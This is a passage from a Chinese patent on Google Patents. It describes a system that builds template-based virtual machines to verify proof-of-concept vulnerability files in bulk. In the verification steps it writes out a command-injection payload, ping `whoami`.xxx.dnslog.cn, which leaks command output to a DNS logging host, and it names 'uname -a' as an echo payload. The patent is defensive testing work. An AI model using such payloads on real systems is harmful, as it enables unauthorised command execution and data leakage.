CN117478440B - 一种poc批量验证方法、装置、设备和介质 - Google Patents
一种poc批量验证方法、装置、设备和介质 Download PDFInfo
- Publication number
- CN117478440B CN117478440B CN202311827531.3A CN202311827531A CN117478440B CN 117478440 B CN117478440 B CN 117478440B CN 202311827531 A CN202311827531 A CN 202311827531A CN 117478440 B CN117478440 B CN 117478440B
- Authority
- CN
- China
- Prior art keywords
- poc
- verification
- file
- vulnerability
- template
- Prior art date
- Legal status (The legal status is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the status listed.)
- Active
Links
- 238000012795 verification Methods 0.000 title claims abstract description 244
- 238000000034 method Methods 0.000 title claims abstract description 54
- 238000013515 script Methods 0.000 claims abstract description 87
- 230000000694 effects Effects 0.000 claims abstract description 29
- 230000004044 response Effects 0.000 claims description 48
- 230000006870 function Effects 0.000 claims description 23
- 238000010367 cloning Methods 0.000 claims description 11
- 238000004590 computer program Methods 0.000 claims description 10
- 230000005540 biological transmission Effects 0.000 claims description 9
- 238000013507 mapping Methods 0.000 claims description 9
- 238000010276 construction Methods 0.000 claims description 7
- 230000008569 process Effects 0.000 abstract description 6
- 238000009434 installation Methods 0.000 description 25
- 238000012360 testing method Methods 0.000 description 12
- 238000012545 processing Methods 0.000 description 8
- 238000010586 diagram Methods 0.000 description 6
- 230000000007 visual effect Effects 0.000 description 5
- 238000005516 engineering process Methods 0.000 description 4
- 238000004806 packaging method and process Methods 0.000 description 4
- 238000012546 transfer Methods 0.000 description 3
- 241000700605 Viruses Species 0.000 description 2
- 230000002155 anti-virotic effect Effects 0.000 description 2
- 238000013473 artificial intelligence Methods 0.000 description 2
- 238000004891 communication Methods 0.000 description 2
- 238000011900 installation process Methods 0.000 description 2
- 238000012986 modification Methods 0.000 description 2
- 230000004048 modification Effects 0.000 description 2
- 230000002441 reversible effect Effects 0.000 description 2
- 239000008186 active pharmaceutical agent Substances 0.000 description 1
- 238000004422 calculation algorithm Methods 0.000 description 1
- 238000013461 design Methods 0.000 description 1
- 238000001514 detection method Methods 0.000 description 1
- 230000003631 expected effect Effects 0.000 description 1
- 238000010801 machine learning Methods 0.000 description 1
- 230000005055 memory storage Effects 0.000 description 1
- 230000003287 optical effect Effects 0.000 description 1
- 238000007639 printing Methods 0.000 description 1
- 230000000750 progressive effect Effects 0.000 description 1
- 238000009877 rendering Methods 0.000 description 1
- 230000003068 static effect Effects 0.000 description 1
- 230000001052 transient effect Effects 0.000 description 1
Classifications
-
- H—ELECTRICITY
- H04—ELECTRIC COMMUNICATION TECHNIQUE
- H04L—TRANSMISSION OF DIGITAL INFORMATION, e.g. TELEGRAPHIC COMMUNICATION
- H04L63/00—Network architectures or network communication protocols for network security
- H04L63/14—Network architectures or network communication protocols for network security for detecting or protecting against malicious traffic
- H04L63/1433—Vulnerability analysis
-
- G—PHYSICS
- G06—COMPUTING; CALCULATING OR COUNTING
- G06F—ELECTRIC DIGITAL DATA PROCESSING
- G06F9/00—Arrangements for program control, e.g. control units
- G06F9/06—Arrangements for program control, e.g. control units using stored programs, i.e. using an internal store of processing equipment to receive or retain programs
- G06F9/44—Arrangements for executing specific programs
- G06F9/455—Emulation; Interpretation; Software simulation, e.g. virtualisation or emulation of application or operating system execution engines
- G06F9/45533—Hypervisors; Virtual machine monitors
- G06F9/45558—Hypervisor-specific management and integration aspects
-
- H—ELECTRICITY
- H04—ELECTRIC COMMUNICATION TECHNIQUE
- H04L—TRANSMISSION OF DIGITAL INFORMATION, e.g. TELEGRAPHIC COMMUNICATION
- H04L9/00—Cryptographic mechanisms or cryptographic arrangements for secret or secure communications; Network security protocols
- H04L9/40—Network security protocols
-
- G—PHYSICS
- G06—COMPUTING; CALCULATING OR COUNTING
- G06F—ELECTRIC DIGITAL DATA PROCESSING
- G06F9/00—Arrangements for program control, e.g. control units
- G06F9/06—Arrangements for program control, e.g. control units using stored programs, i.e. using an internal store of processing equipment to receive or retain programs
- G06F9/44—Arrangements for executing specific programs
- G06F9/455—Emulation; Interpretation; Software simulation, e.g. virtualisation or emulation of application or operating system execution engines
- G06F9/45533—Hypervisors; Virtual machine monitors
- G06F9/45558—Hypervisor-specific management and integration aspects
- G06F2009/45587—Isolation or security of virtual machine instances
Landscapes
- Engineering & Computer Science (AREA)
- Computer Security & Cryptography (AREA)
- Software Systems (AREA)
- General Engineering & Computer Science (AREA)
- Computer Networks & Wireless Communication (AREA)
- Signal Processing (AREA)
- Theoretical Computer Science (AREA)
- Computer Hardware Design (AREA)
- Computing Systems (AREA)
- Physics & Mathematics (AREA)
- General Physics & Mathematics (AREA)
- Stored Programmes (AREA)
Abstract
本申请涉及网络安全技术领域,公开了一种POC批量验证方法、装置、设备和介质,从模板库中选取与验证需求匹配的目标操作系统模板和目标软件模板。依据目标操作系统模板和目标软件模板,构建漏洞验证环境虚拟机;将接收的POC文件传输至各漏洞验证环境虚拟机;POC文件在各漏洞验证环境虚拟机中执行完毕后,运行验证脚本对POC文件的运行结果进行校验,以确定出POC文件指示的漏洞是否存在。通过调用所需的操作系统模板和软件模板,可以批量快速的构建出所需的漏洞验证环境。通过自动执行选定的验证脚本获取验证结果,达到POC效果多漏洞验证环境的快速自动化验证。整个实现过程可自动化实现,提升了POC验证的效率。
Description
技术领域
本申请涉及网络安全技术领域,特别是涉及一种POC批量验证方法、装置、设备和计算机可读存储介质。
背景技术
POC(Proof of Concept,概念证明)是一段程序代码,用于证明漏洞的存在并展示其在实际环境中的影响。当研究人员或安全专家发现某款程序、软件或系统存在漏洞时,他们会通过撰写POC证明该漏洞的存在。然而,证明POC的有效性并不是一件简单的事。不同的操作系统版本、软件版本、安装依赖等不同配置,都可能对POC的执行产生影响,使得POC不能准确反映漏洞的影响。因此为了证明POC的有效性,需要在不同的环境中验证它的执行效果,这就需要建立多个独立的漏洞验证环境虚拟机。
假设一个office2012程序存在任意命令执行漏洞,并已编写了POC。为了验证该POC在不同操作系统、不同程序版本、不同防护软件上的执行效果,我们需要配置不同的虚拟机环境。不同操作系统可以包含Windows XP、Windows 7、Windows 10,不同程序版本可以包含office2012、office2016、office2021,不同防护软件可以包含360杀毒、金山毒霸、QQ电脑管家。配置第一个虚拟机环境为Windows7、office2012、360杀毒,配置第二个虚拟机环境为Windows 7、office2016、360杀毒,依次类推,根据不同操作系统、不同程序版本、不同防护软件的组合搭配,合计需要配置27个虚拟机。然而,手动完成这些测试任务,会增加巨大的工作量,导致准确性不能得到保证,浪费大量时间。
可见,如何提升POC验证的效率,是本领域技术人员需要解决的问题。
发明内容
本申请实施例的目的是提供一种POC批量验证方法、装置、设备和计算机可读存储介质,可以提升POC验证的效率。
为解决上述技术问题,本申请实施例提供一种POC批量验证方法,包括:
从模板库中选取与验证需求匹配的目标操作系统模板和目标软件模板;其中,所述模板库包括多个操作系统模板和多个软件模板;
依据所述目标操作系统模板和所述目标软件模板,构建漏洞验证环境虚拟机;
将接收的POC文件传输至各所述漏洞验证环境虚拟机;
所述POC文件在各所述漏洞验证环境虚拟机中执行完毕后,运行验证脚本对所述POC文件的运行结果进行校验,以确定出所述POC文件指示的漏洞是否存在。
可选地,所述将接收的POC文件传输至各所述漏洞验证环境虚拟机包括:
在获取到用户上传至对象存储服务的POC文件后,从所述对象存储服务中读取所述POC文件,并将所述POC文件保存至系统本地临时文件夹;
调用连接函数连接虚拟机管理平台的系统接口;
基于所述系统接口获取各所述漏洞验证环境虚拟机的IP地址;
依据各所述IP地址将所述系统本地临时文件夹保存的所述POC文件上传至相应的所述漏洞验证环境虚拟机。
可选地,所述依据各所述IP地址将所述系统本地临时文件夹保存的所述POC文件上传至各所述漏洞验证环境虚拟机包括:
从预先构建的线程池中选取用于执行文件传输任务的多个线程;其中,选取的线程总数小于或等于所述漏洞验证环境虚拟机总数;
利用多个线程将所述POC文件并行上传至各所述IP地址对应的漏洞验证环境虚拟机。
可选地,所述运行验证脚本对所述POC文件的运行结果进行校验,以确定出所述POC文件指示的漏洞是否存在包括:
基于所述POC文件的POC效果,从验证脚本库中选取匹配的验证脚本;
运行所述验证脚本以获取所述POC文件的运行结果,在所述运行结果与所述验证脚本中包含的预期结果匹配的情况下,判定所述POC文件指示的漏洞存在。
可选地,所述运行所述验证脚本以获取所述POC文件的运行结果,在所述运行结果与所述验证脚本中包含的预期结果匹配的情况下,判定所述POC文件指示的漏洞存在包括:
在所述POC文件包含响应漏洞的情况下,将具有响应输出的命令作为验证数据包,并将所述验证数据包发送至具有所述响应漏洞的第一目标软件;在所述第一目标软件的返回结果符合预期结果的情况下,判定所述第一目标软件存在命令执行漏洞;
在所述POC文件包含非响应漏洞的情况下,判断具有非响应漏洞的第二目标软件是否正常联网;
在具有非响应漏洞的第二目标软件正常联网的情况下,将所述POC文件的DNSLOG服务的地址替换为设定的有效指令;运行包含所述有效指令的POC文件;在所述DNSLOG服务的日志中记录的DNS请求信息与所述第二目标软件匹配的情况下,判定所述第二目标软件存在命令执行漏洞;
在具有非响应漏洞的第二目标软件无法正常联网的情况下,开启本机的一个随机端口,将依据本机IP和所述随机端口的端口号构造的验证数据包发送至所述第二目标软件;在本机网络流量日志中记录有来自于所述本机IP的请求并且请求端口为所述随机端口的情况下,判定所述第二目标软件存在命令执行漏洞。
可选地,在所述依据所述目标操作系统模板和所述目标软件模板,构建漏洞验证环境虚拟机之后,还包括:
将各所述漏洞验证环境虚拟机的IP地址映射到指定的URL地址上。
可选地,所述依据所述目标操作系统模板和所述目标软件模板,构建漏洞验证环境虚拟机包括:
依据所述目标操作系统模板对创建的空虚拟机进行克隆,以得到所需数量的虚拟机;
根据所述目标操作系统模板和所述目标软件模板的组合方式,将各所述目标软件模板部署在匹配的虚拟机上,以得到漏洞验证环境虚拟机。
本申请实施例还提供了一种POC批量验证装置,包括选取单元、构建单元、传输单元和校验单元;
所述选取单元,用于从模板库中选取与验证需求匹配的目标操作系统模板和目标软件模板;其中,所述模板库包括多个操作系统模板和多个软件模板;
所述构建单元,用于依据所述目标操作系统模板和所述目标软件模板,构建漏洞验证环境虚拟机;
所述传输单元,用于将接收的POC文件传输至各所述漏洞验证环境虚拟机;
所述校验单元,用于所述POC文件在各所述漏洞验证环境虚拟机中执行完毕后,运行验证脚本对所述POC文件的运行结果进行校验,以确定出所述POC文件指示的漏洞是否存在。
可选地,所述传输单元包括读取子单元、保存子单元、调用子单元、获取子单元和上传子单元;
所述读取子单元,用于在获取到用户上传至对象存储服务的POC文件后,从所述对象存储服务中读取所述POC文件;
所述保存子单元,用于将所述POC文件保存至系统本地临时文件夹;
所述调用子单元,用于调用连接函数连接虚拟机管理平台的系统接口;
所述获取子单元,用于基于所述系统接口获取各所述漏洞验证环境虚拟机的IP地址;
所述上传子单元,用于依据各所述IP地址将所述系统本地临时文件夹保存的所述POC文件上传至相应的所述漏洞验证环境虚拟机。
可选地,所述上传子单元用于从预先构建的线程池中选取用于执行文件传输任务的多个线程;其中,选取的线程总数小于或等于所述漏洞验证环境虚拟机总数;
利用多个线程将所述POC文件并行上传至各所述IP地址对应的漏洞验证环境虚拟机。
可选地,所述校验单元包括选取子单元和判定子单元;
所述选取子单元,用于基于所述POC文件的POC效果,从验证脚本库中选取匹配的验证脚本;
所述判定子单元,用于运行所述验证脚本以获取所述POC文件的运行结果,在所述运行结果与所述验证脚本中包含的预期结果匹配的情况下,判定所述POC文件指示的漏洞存在。
可选地,所述判定子单元用于在所述POC文件包含响应漏洞的情况下,将具有响应输出的命令作为验证数据包,并将所述验证数据包发送至具有所述响应漏洞的第一目标软件;在所述第一目标软件的返回结果符合预期结果的情况下,判定所述第一目标软件存在命令执行漏洞;
在所述POC文件包含非响应漏洞的情况下,判断具有非响应漏洞的第二目标软件是否正常联网;
在具有非响应漏洞的第二目标软件正常联网的情况下,将所述POC文件的DNSLOG服务的地址替换为设定的有效指令;运行包含所述有效指令的POC文件;在所述DNSLOG服务的日志中记录的DNS请求信息与所述第二目标软件匹配的情况下,判定所述第二目标软件存在命令执行漏洞;
在具有非响应漏洞的第二目标软件无法正常联网的情况下,开启本机的一个随机端口,将依据本机IP和所述随机端口的端口号构造的验证数据包发送至所述第二目标软件;在本机网络流量日志中记录有来自于所述本机IP的请求并且请求端口为所述随机端口的情况下,判定所述第二目标软件存在命令执行漏洞。
可选地,还包括映射单元;
所述映射,用于将各所述漏洞验证环境虚拟机的IP地址映射到指定的URL地址上。
可选地,所述构建单元包括克隆子单元和部署子单元;
所述克隆子单元,用于依据所述目标操作系统模板对创建的空虚拟机进行克隆,以得到所需数量的虚拟机;
所述部署子单元,用于根据所述目标操作系统模板和所述目标软件模板的组合方式,将各所述目标软件模板部署在匹配的虚拟机上,以得到漏洞验证环境虚拟机。
本申请实施例还提供了一种电子设备,包括:
存储器,用于存储计算机程序;
处理器,用于执行所述计算机程序以实现如上述POC批量验证方法的步骤。
本申请实施例还提供了一种计算机可读存储介质,所述计算机可读存储介质上存储有计算机程序,所述计算机程序被处理器执行时实现如上述POC批量验证方法的步骤。
由上述技术方案可以看出,从模板库中选取与验证需求匹配的目标操作系统模板和目标软件模板;其中,模板库包括多个操作系统模板和多个软件模板;操作系统模板、软件模板可以任意组合搭配,以生成不同操作系统、软件版本的漏洞验证环境,以满足不同测试需求。依据目标操作系统模板和目标软件模板,构建漏洞验证环境虚拟机;将接收的POC文件传输至各漏洞验证环境虚拟机;POC文件在各漏洞验证环境虚拟机中执行完毕后,运行验证脚本对POC文件的运行结果进行校验,以确定出POC文件指示的漏洞是否存在。在该技术方案中,通过调用所需的操作系统模板和软件模板,可以批量快速的构建出所需的漏洞验证环境。并针对不同POC效果,预先编写好不同的验证脚本,基于当前POC文件的POC效果可以选定所需的验证脚本,通过自动执行选定的验证脚本获取验证结果,从而达到POC效果多漏洞验证环境的快速自动化验证。整个实现过程无需人工部署漏洞验证环境和验证程序,提升了POC验证的效率,无需人工干预,避免人工出错。
附图说明
为了更清楚地说明本申请实施例,下面将对实施例中所需要使用的附图做简单的介绍,显而易见地,下面描述中的附图仅仅是本申请的一些实施例,对于本领域普通技术人员来讲,在不付出创造性劳动的前提下,还可以根据这些附图获得其他的附图。
图1为本申请实施例提供的一种POC批量验证方法的流程图;
图2为本申请实施例提供的一种模板库的示意图;
图3为本申请实施例提供的一种识别POC文件指示的漏洞是否存在的方法的流程图;
图4为本申请实施例提供的一种POC批量验证装置的结构示意图;
图5为本申请实施例提供的一种电子设备的结构图。
具体实施方式
下面将结合本申请实施例中的附图,对本申请实施例中的技术方案进行清楚、完整地描述,显然,所描述的实施例仅仅是本申请一部分实施例,而不是全部实施例。基于本申请中的实施例,本领域普通技术人员在没有做出创造性劳动前提下,所获得的所有其他实施例,都属于本申请保护范围。
本申请的说明书和权利要求书及上述附图中的术语“包括”和“具有”,以及与“包括”和“具有”相关的任何变形,意图在于覆盖不排他的包含。例如包含了一系列步骤或单元的过程、方法、系统、产品或设备没有限定于已列出的步骤或单元,而是可包括没有列出的步骤或单元。
为了使本技术领域的人员更好地理解本申请方案,下面结合附图和具体实施方式对本申请作进一步的详细说明。
接下来,详细介绍本申请实施例所提供的一种POC批量验证方法。图1为本申请实施例提供的一种POC批量验证方法的流程图,该方法包括:
S101:从模板库中选取与验证需求匹配的目标操作系统模板和目标软件模板。
其中,模板库包括多个操作系统模板和多个软件模板。
在实际应用中,可以基于漏洞验证环境所涉及的操作系统和软件,预先构建多种类型的操作系统模板和多种类型的软件模板。
对于操作系统模板的构建,可以通过虚拟机管理平台(vCenter API)创建不同类型、版本的操作系统虚拟机,并在操作系统中安装Python(POC和验证脚本所需)作为操作系统模板,存储到操作系统模板库中。
对于软件模板的构建,可以有多种实现方式。第一种实现方式可以适用于没有图形化界面(Graphical User Interface,GUI)的软件安装程序。对于没有图形化界面的软件安装程序,编写命令行格式的文件(如sh、bat等),用于自动安装软件,具体实施步骤如下:
1、选择脚本语言:通常选择使用脚本语言如Bash,Python,Perl 等;2、确定安装步骤:确定软件的安装步骤,包括下载、解压、配置等;3、编写脚本:根据安装步骤,编写脚本代码来自动完成安装;4、测试脚本:在测试环境中测试脚本代码是否能够正常工作;5、生成模板:打包为软件模板,存贮到软件模板库中。
第二种实现方式可以适用于具有图形化界面的软件安装程序。对于具有图形化界面的软件安装程序,通过自动化工具,识别程序界面按钮,模拟鼠标点击,保存为软件安装脚本,具体实施步骤如下:
1、确定安装步骤,保存关键图片:确定软件的安装步骤,截图保存勾选协议、点击下一步、点击完成等操作的控件图片;2、编写脚本:根据安装步骤,编写脚本代码来自动完成安装。模拟点击图形化按钮,使用PyAutoGUI的locateOnScreen函数检测图形化界面的按钮,并使用click函数模拟点击。检测安装标题,使用PyAutoGUI的 locateOnScreen函数检测图形化界面的标题。等待安装完成,使用 PyAutoGUI的sleep函数等待安装过程完成。模拟点击完成按钮,使用 PyAutoGUI的locateOnScreen 函数检测图形化界面的完成按钮,并使用 click 函数模拟点击;3、测试脚本:保存脚本并使用命令行窗口运行,以确认自动安装是否成功;4、生成模板:打包为软件模板,存贮到软件模板库中。
第三种实现方式也是适用于具有图形化界面的软件安装程序。对于具有图形化界面的软件安装程序,通过自动化工具,记录点击坐标,模拟鼠标点击,保存为软件安装脚本。具体实施步骤如下:
1、确定安装步骤,保存坐标:确定软件的安装步骤,保存勾选协议、点击下一步、点击完成等操作的控件坐标;2、编写脚本:模拟点击图形化按钮,使用 PyAutoGUI 的 click函数模拟点击图形化界面的按钮。等待安装完成,使用 PyAutoGUI 的 sleep 函数等待安装过程完成。模拟点击完成按钮,使用 PyAutoGUI 的 click 函数模拟点击图形化界面的完成按钮;3、保存脚本并运行:保存脚本并使用命令行窗口运行,以确认自动安装是否成功;4、测试脚本:保存脚本并使用命令行窗口运行,以确认自动安装是否成功;5、生成模板:打包为软件模板,存贮到软件模板库中。
对于具有图形化界面的软件安装程序,也可以通过窗口探测方法,获取窗口标题、控件类型、控件内容,依据窗口句柄、控件ID触发控件方法,编写软件安装脚本。对于没有图形化界面的软件安装程序,编写命令行格式的文件(如sh、bat等),保存为软件安装脚本。每个软件都有与之对应的安装脚本,软件与软件安装脚本称之为软件模板,存贮到软件模板库中。
图2为本申请实施例提供的一种模板库的示意图,模板库可以划分为两大类,一类是操作系统模板库,另一类是软件模板库。其中,操作系统模板库中可以包含多种类型的操作系统,如Windows,Linux等。Windows下包含有Windows XP、Windows 7、Windows 8、Windows 10等,并且每种类型的操作系统包含有不同的版本,每个版本可以设置其对应的一个操作系统模板。软件模板库中可以包含多种类型的软件,如目标软件、防护软件等。其中,目标软件可以进一步细分为不同的目标软件,如目标软件1、目标软件2等。每种目标软件可以对应多个不同的版本,每个版本的目标软件可以设置其对应的一个软件模板。同理,防护软件可以进一步细分为不同的防护软件,如防护软件1、防护软件2等。每种防护软件可以对应多个不同的版本,每个版本的防护软件可以设置其对应的一个软件模板。
验证需求中可以包含所需的操作系统类型、版本,以及所需的软件类型、版本。依据该验证需求,可以从模板库中选取与之匹配的操作系统模板和软件模板。为了便于区分,可以将与验证需求匹配的操作系统模板称作目标操作系统模板,将与验证需求匹配的软件模板称作目标软件模板。目标操作系统模板可以是一个或多个。目标软件模板可以是一个或多个。
S102:依据目标操作系统模板和目标软件模板,构建漏洞验证环境虚拟机。
在选取出所需的目标操作系统模板和目标软件模板之后,可以依据目标操作系统模板对创建的空虚拟机进行克隆,以得到所需数量的虚拟机;根据目标操作系统模板和目标软件模板的组合方式,将各目标软件模板部署在匹配的虚拟机上,以得到漏洞验证环境虚拟机。
对于操作系统虚拟机的部署,可以使用 python 脚本语言编写的程序批量快速克隆操作系统虚拟机,其实施步骤可以包括:1、建立 vSphere API 连接:连接到 vSphereAPI;2、定义多个虚拟机并发克隆的函数 clone_vms:使用 concurrent.futures.ThreadPoolExecutor 类并发执行多个克隆任务,并获取任务结果;3、调用 clone_vms 函数:传入需要克隆的虚拟机列表、克隆目标文件夹和虚拟机名称列表、以及其他相关参数,并开始克隆虚拟机;4、处理任务结果:通过打印克隆成功的虚拟机名称和任务 ID,以及错误信息等,获取任务的状态和信息。
对于软件模板的部署,可以使用 python 脚本语言编写的程序通过vSphere API(Application Programming Interface,应用程序编程接口)上传软件模板,执行软件安装脚本,在虚拟机上安装软件。其实施步骤可以包括:1、连接 vSphere API:使用connect.ConnectNoSSL 函数连接 vSphere API,提供 vCenter 服务器的地址、端口、用户名和密码;2、获取虚拟机实例,虚拟机实例指的是选定的目标操作系统:使用searchIndex.FindByIp 方法查找虚拟机,提供虚拟机的 IP 地址;3、上传文件:使用PutFile 方法上传文件,提供虚拟机实例、源文件路径和目标文件路径;4、执行命令:使用vim.vm.guest.ProcessManager.ProgramSpec 创建命令的参数,并使用StartProgramInGuest 方法执行命令;5、读取结果:使用 get_property 方法读取命令的结果;6、断开连接:使用 Disconnect 函数断开与 vSphere API 的连接。
通过虚拟机管理平台API,调用目标操作系统模板,批量快速克隆操作系统虚拟机。虚拟机创建后可以通过vSphere API上传目标软件模板,执行目标软件模板的安装脚本,在创建的虚拟机上安装软件,安装完成后,作为漏洞验证环境,等待下一步指令,整个实现过程可以高效快速的实现。
S103:将接收的POC文件传输至各漏洞验证环境虚拟机。
在获取到用户上传至对象存储服务的POC文件后,可以从对象存储服务中读取POC文件,并将POC文件保存至系统本地临时文件夹;调用连接函数连接虚拟机管理平台的系统接口;基于系统接口获取各漏洞验证环境虚拟机的IP地址;依据各IP地址将系统本地临时文件夹保存的POC文件上传至相应的漏洞验证环境虚拟机。
在实际应用中,用户可以在前端可视化web界面中勾选需要上传POC文件的漏洞验证环境虚拟机,通过web界面上传POC文件到MinIO,系统从MinIO读取POC文件,通过vSphereAPI将POC文件传输到用户所选漏洞验证环境虚拟机中。
基于MinIO和vSphere API的POC批量上传的步骤如下:
1、配置 MinIO 客户端,包括设置 MinIO 服务器的 URL、访问密钥 ID 和访问密钥 Secret;2、使用 MinIO 的 GetObject API 上传POC文件到MinIO;3、使用 MinIO 的GetObject API 下载POC文件到系统本地,保存到系统本地临时文件夹中;4、连接 vSphereAPI,使用 connect.ConnectNoSSL 函数连接 vSphere API,提供 vCenter 服务器的地址、端口、用户名和密码;5、获取虚拟机实例,使用 searchIndex.FindByIp 方法查找虚拟机,提供虚拟机的 IP 地址;6、上传文件,使用 PutFile 方法上传POC文件,提供虚拟机实例、源文件路径和目标文件路径。
为了提升POC文件的上传效果,可以基于线程池实现。在具体实现中,可以从预先构建的线程池中选取用于执行文件传输任务的多个线程;其中,选取的线程总数小于或等于漏洞验证环境虚拟机总数;利用多个线程将POC文件并行上传至各IP地址对应的漏洞验证环境虚拟机。也即一个线程负责将POC文件上传至一个漏洞验证环境虚拟机上,通过多个线程可以并行实现POC文件向多个漏洞验证环境虚拟机上传。
S104:POC文件在各漏洞验证环境虚拟机中执行完毕后,运行验证脚本对POC文件的运行结果进行校验,以确定出POC文件指示的漏洞是否存在。
在本申请实施例中,可以基于不同POC效果预先建立不同的验证脚本。在实际应用中,可以基于POC文件的POC效果,设置好每个POC文件所对应的验证脚本;运行验证脚本以获取POC文件的运行结果,在运行结果与验证脚本中包含的预期结果匹配的情况下,判定POC文件指示的漏洞存在。
通过vSphere API,发送命令执行POC文件,POC文件执行完毕后,执行POC效果对应的验证脚本。验证脚本的作用是验证POC是否生效,达到预期的效果。
验证结果可以以json格式进行记录,并存储在环境的指定目录中。通过vSphereAPI读取这个json文件,解析json格式,存储到数据库中,然后在前端的可视化web界面中呈现给用户。POC的执行结果也可以通过接口上报到系统,系统存储到数据库中,用户想要查看结果时,读取数据库中的执行结果,在前端的可视化web界面中呈现给用户。
通过vSphere API,发送命令执行POC、验证脚本并读取执行结果的实施步骤如下:
1、连接 vSphere API:使用 connect.ConnectNoSSL 函数连接 vSphere API,提供 vCenter 服务器的地址、端口、用户名和密码;2、获取虚拟机实例:使用searchIndex.FindByIp 方法查找虚拟机,提供虚拟机的 IP 地址;3、执行命令,运行POC:使用 vim.vm.guest.ProcessManager.ProgramSpec 创建命令的参数,并使用StartProgramInGuest 方法执行命令;4、执行命令,运行验证脚本:使用 vim.vm.guest.ProcessManager.ProgramSpec 创建命令的参数,并使用 StartProgramInGuest 方法执行命令;5、获取文件:使用 vim.vm.guest.FileManager 的InitiateFileTransferFromGuest 方法获取文件,需要提供文件的路径和可选的目标路径;6、读取文件:使用 Python 的 open 函数读取文件,并通过 read 方法读取文件的内容;7、断开连接:使用 Disconnect 函数断开与 vSphere API 的连接。
在本申请实施例中,预先建立验证脚本库的实施步骤如下:
1、确定POC的漏洞类型和效果:了解POC的漏洞类型和效果,确定验证脚本的目标;2、选择编程语言和工具:根据POC的漏洞类型和效果,选择适合的编程语言和工具;3、编写代码逻辑:根据验证脚本的目标,编写相应的代码逻辑;4、测试脚本:在编写完脚本后,对脚本进行测试,确保脚本的正确性和可用性;5、存储脚本:将验证脚本打包成可执行文件或脚本,保存到验证脚本库中。
在本申请实施例中,通过提供前端可视化web界面,可以便于用户操作。根据用户选择的多版本操作系统、多版本目标软件、不同防护软件,发送ajax异步请求,提交json格式数据给后台。后台通过springMVC框架响应用户请求,解析json数据,通过Mybatis与mySql数据库通信,获取操作系统虚拟机模板,通过vsphere API与vcenter进行通信,批量快速克隆操作系统虚拟机。虚拟机的构建和配置,使得可以在不同的操作系统和版本中测试POC效果。
通过vsphere虚拟机化技术,执行虚拟机中软件自动安装文件,将不同目标软件及防护软件安装至不同操作系统虚拟机中,构建多种目标环境。自动化的软件安装,通过上传软件的自动安装脚本文件,达到自动安装的目的,大大简化了操作流程。
采用目标操作系统模板、目标软件模板、安装脚本自动生成漏洞验证环境,省去了手动配置环境的复杂步骤。
并针对不同POC效果,编写不同验证脚本,并批量上传验证脚本以及POC文件至漏洞验证环境中,自动执行验证脚本获取验证结果,从而达到POC效果多漏洞验证环境快速自动化验证。批量自动测试POC效果,可以直观地在系统中查看POC执行结果,省去人工检查的步骤。
在本申请实施例中,也可以使用容器技术构建环境,通过手动安装软件或使用自动化工具(如Ansible、Chef等)实现自动化安装。
由上述技术方案可以看出,从模板库中选取与验证需求匹配的目标操作系统模板和目标软件模板;其中,模板库包括多个操作系统模板和多个软件模板;操作系统模板、软件模板可以任意组合搭配,以生成不同操作系统、软件版本的漏洞验证环境,以满足不同测试需求。依据目标操作系统模板和目标软件模板,构建漏洞验证环境虚拟机;将接收的POC文件传输至各漏洞验证环境虚拟机;POC文件在各漏洞验证环境虚拟机中执行完毕后,运行验证脚本对POC文件的运行结果进行校验,以确定出POC文件指示的漏洞是否存在。在该技术方案中,通过调用所需的操作系统模板和软件模板,可以批量快速的构建出所需的漏洞验证环境。并针对不同POC效果,预先编写好不同的验证脚本,基于当前POC文件的POC效果可以选定所需的验证脚本,通过自动执行选定的验证脚本获取验证结果,从而达到POC效果多漏洞验证环境的快速自动化验证。整个实现过程无需人工部署漏洞验证环境和验证程序,提升了POC验证的效率,无需人工干预,避免人工出错。
操作系统、软件可以任意组合搭配,以生成不同系统、软件版本的漏洞验证环境。例如:用户希望测试某POC在不同操作系统、不同软件版本下的效果,环境配置参数的操作系统为Windows 7、Windows 10,目标软件1版本1、2、3,防护软件1版本1。自动生成如下系统、软件组合的虚拟机为漏洞验证环境:Windows 7、目标软件1版本1、防护软件1版本1;Windows 7、目标软件1版本2、防护软件1版本1;Windows 7、目标软件1版本3、防护软件1版本1;Windows 10、目标软件1版本1、防护软件1版本1;Windows 10、目标软件1版本2、防护软件1版本1;Windows 10、目标软件1版本3、防护软件1版本1。
为验证某版本软件是否存在漏洞,需要配置对应的漏洞验证环境,执行POC文件,测试POC效果。图3为本申请实施例提供的一种识别POC文件指示的漏洞是否存在的方法的流程图,该方法包括:
S301:判断POC文件是否包含响应漏洞。
在POC文件包含响应漏洞的情况下,可以执行S302至S304的操作。在POC文件不包含响应漏洞的情况下,可以执行S305至S307的操作。
S302:将具有响应输出的命令作为验证数据包,并将验证数据包发送至具有响应漏洞的第一目标软件。
不同类型的漏洞所对应的验证方式有所差异,漏洞可以划分为有回显的漏洞和无回显的漏洞。其中,有回显的漏洞指的是具有响应信息的漏洞,可以将其称作响应漏洞。
在具体实现中,针对于响应漏洞,可以构造并发送payload,判定结果:将命令“uname -a”或“ls”等常见的有响应输出的命令构造入验证数据包中,发送数据包至具有响应漏洞的第一目标软件,读取第一目标软件的返回结果。
S303:判断第一目标软件的返回结果是否符合预期结果。
结合上述举例说明,在第一目标软件的返回结果符合预期结果的情况下,则说明存在命令执行漏洞,此时可以执行S304。
S304:判定第一目标软件存在命令执行漏洞。
S305:判断具有非响应漏洞的第二目标软件所属的系统环境是否正常联网。
软件是否联网决定了漏洞的不同验证方式。
在具有非响应漏洞的第二目标软件所属的系统环境正常联网的情况下,可以执行S306;在具有非响应漏洞的第二目标软件所属的系统环境无法正常联网的情况下,可以执行S307。
S306:将POC文件的DNSLOG服务的地址替换为设定的有效指令,运行包含有效指令的POC文件,在DNSLOG服务的日志中记录的DNS请求信息与第二目标软件匹配的情况下,判定第二目标软件存在命令执行漏洞。
在具体实现中,可以使用可靠的DNSLOG服务或自行搭建一个DNSLOG服务。构造并发送payload:在POC代码中,将DNSLOG服务的地址替换为所使用的DNSLOG服务的地址。如:ping `whoami`.xxx.dnslog.cn,运行POC代码,“whoami”可以替换为任意的有效命令,反单引号“`”内的字符将会当作命令执行,可以通过此方法获取命令执行结果。检查DNSLOG日志,判定结果:检查DNSLOG服务的日志,分析DNS请求,如果存在任何请求记录,分析该请求的内容和IP,若和目标相符,则存在命令执行漏洞。
S307:开启本机的一个随机端口,将依据本机IP和随机端口的端口号构造的验证数据包发送至第二目标软件,在本机网络流量日志中记录有来自于本机IP的请求并且请求端口为随机端口的情况下,判定第二目标软件存在命令执行漏洞。
